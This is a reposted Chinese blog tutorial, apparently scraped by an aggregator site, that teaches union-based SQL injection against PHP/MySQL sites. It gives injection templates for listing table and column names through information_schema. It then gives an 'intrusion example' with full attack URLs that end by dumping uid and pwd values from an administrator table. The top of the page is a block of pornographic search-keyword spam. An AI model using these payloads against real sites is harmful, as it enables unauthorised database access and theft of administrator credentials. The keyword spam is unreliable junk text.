日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

php+MySql注入非暴力爆字段名

發布時間:2024/4/14 php 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php+MySql注入非暴力爆字段名 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

MySql數據庫的版本夠了,不需要暴力猜表的,而是“查”表


表可以爆了,出來了,字段出不來怎么辦?其實字段也可以查出
查表段時的格式是:

? +union select 1,2,3,table_name from (select * from information_schema.tables where table_schema=數據庫名字的hex order by table_schema limit 6,7)t limit 1--


那么,查字段的格式就是:

? +union select 1,2,column_name from (select * from information_schema.columns where table_name=爆出來的表名的hex值 and table_schema=數據庫名的hex值 order by 1 limit 2,3)t limit 1--


與爆表類似

在最后一個limit 6,7很明顯是范圍,從0,1、1,2、2,3、3,4的這么查下去就可以了,直到查出來想要的表名


看一個入侵實例:
本帖隱藏的內容需要回復才可以瀏覽
爆表:

? http://site/newinfo.php?id=125+and+1=2+union+select+1,2,3,table_name,5,6,7,8,9,10+from+(select+*+from+information_schema.tables+where+table_schema=0x796B7873676F76+order+by+table_schema+limit+0,1)t+limit+1--


爆字:

http://site/jg_view.php?id=141+and+1=2+union+select+1,2,column_name,4,5+from+(select+*+from+information_schema.columns+where+table_name=0x61646D696E6973747261746F72+and+table_schema=0x796B7873676F76+order+by+1+limit+2,3)t+limit+1--?


使用前面爆出來的:

? http://site/jg_view.php?id=141+and+1=2+union+select+1,2,3,4,concat(uid,0x5f,pwd)+from+administrator

轉載于:https://www.cnblogs.com/amwld/archive/2011/05/29/2061788.html

總結

以上是生活随笔為你收集整理的php+MySql注入非暴力爆字段名的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。